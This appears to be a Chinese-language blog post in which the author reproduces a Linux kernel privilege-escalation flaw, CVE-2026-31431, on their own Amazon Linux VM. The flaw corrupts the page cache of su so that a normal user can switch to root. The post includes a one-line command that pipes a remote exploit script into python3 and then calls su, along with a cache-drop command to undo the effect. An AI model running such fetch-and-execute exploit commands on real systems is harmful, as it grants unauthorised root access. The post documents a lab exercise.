← Back to list

資安實作(2) — CVE-2026–31431 的 Copy-fail 權限提升實作

最近看到了這個 CVE 的實作,這個漏洞是權限提升,等於是不需要 root 密碼,就可以直接從一般使用者切換成 root,而且這會留在 page cache,只有重開機、清除 cache 才能消除影響,所以算是蠻可怕的漏洞的

Tako · 2026-05-01 07:54 · 0 claps · 3.1 min read
#security #cve #page-cache #linux-kernel
Open on Medium ↗
Wiki topics: 🔓 · Open Source

資安實作(2) — CVE-2026–31431 的 Copy-fail 權限提升實作

最近看到了這個 CVE 的實作,這個漏洞是權限提升,等於是不需要 root 密碼,就可以直接從一般使用者切換成 root,而且這會留在 page cache,只有重開機、清除 cache 才能消除影響,所以算是蠻可怕的漏洞的

  • 漏洞起源

一般為了避免頻繁的硬碟讀取,會把讀取的資料放到 Page Cache,讓下次讀取直接讀記憶體來加速

在 2017 年的優化中,Linux 核心為了加速加密運算,省去了將數據複製到安全區域處理再複製回來的步驟,改讓加密通道直接操作原始數據。然而,這個改動漏掉了一個關鍵細節:加密通道在處理數據後,本應將結果寫回自己的緩衝區,卻因為該優化不小心將結果寫進了 Page Cache

一般狀況下,一般用戶只能讀取 Page Cache,但可以用這個漏洞來使用加密通道來對 su 的 Page Cache 進行修改,進而導致權限提升

  • 實作

我這台是 amazon linux 2023,然後已經起來 44 天,因為補丁是在 2026/4 才出的,所以這台剛好是這個漏洞的受害範圍

VM 使用 amazon linux 2023

VM 使用 amazon linux 2023

然後就是執行下載腳本的部分,但先說我失敗了,因為 python 是 3.9 版的,好像 3.10 才開始有 splice

# 下載腳本並執行
curl https://copy.fail/exp | python3 && su

# 安裝 python 3.10 以上支援 splice 的版本
curl https://copy.fail/exp > origin_test.py
python3.10 origin_test.py

# 刪掉 cache
echo 3 > /proc/sys/vm/drop_caches

AttributeError,寫沒有 splice

AttributeError,寫沒有 splice

先安裝 python 3.10 來執行,結果是可以運作的,ec2-user 能無密碼切到 root

運行下載下來的腳本後,就可以直接切換到 root 了,除非刪 cache, 重開機,否則權限都在

運行下載下來的腳本後,就可以直接切換到 root 了,除非刪 cache, 重開機,否則權限都在

可以用這個指令來刪掉 cache

可以用這個指令來刪掉 cache

但如果沒有 splice 怎麼辨呢? 也是可以自己寫一個方法,我是用成功了,但就不分享了,反正是從 ctypes 下手就對了

的確能夠使用 su 來進行切換

的確能夠使用 su 來進行切換

記錄的差不多了,感覺蠻好玩的,用這招就可以救回蠻多不知道 root 密碼的問題,超級有趣

寫 2017 年以後的中招,但之前的 OS 也不一定沒有問題,哪天無聊可能再試試吧,難得搞了一次像紅隊的操作

參考資料:

  1. Youtube(中文資源)
  2. Youtube(英文資源)
  3. Github (反正英文講者用這個講的)
  4. 漏洞操作說明
  5. Google Gemini

메타데이터
post_id
439b7c2bb4ac
slug
資安實作-2-cve-2026-31431-的-copy-fail-權限提升實作-439b7c2bb4ac
url
https://medium.com/@King610160/%E8%B3%87%E5%AE%89%E5%AF%A6%E4%BD%9C-2-cve-2026-31431-%E7%9A%84-copy-fail-%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E5%AF%A6%E4%BD%9C-439b7c2bb4ac
canonical_url
https://medium.com/@King610160/%E8%B3%87%E5%AE%89%E5%AF%A6%E4%BD%9C-2-cve-2026-31431-%E7%9A%84-copy-fail-%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E5%AF%A6%E4%BD%9C-439b7c2bb4ac
author_url
https://medium.com/@King610160
status
ok
fetched_at
2026-08-25 12:53:18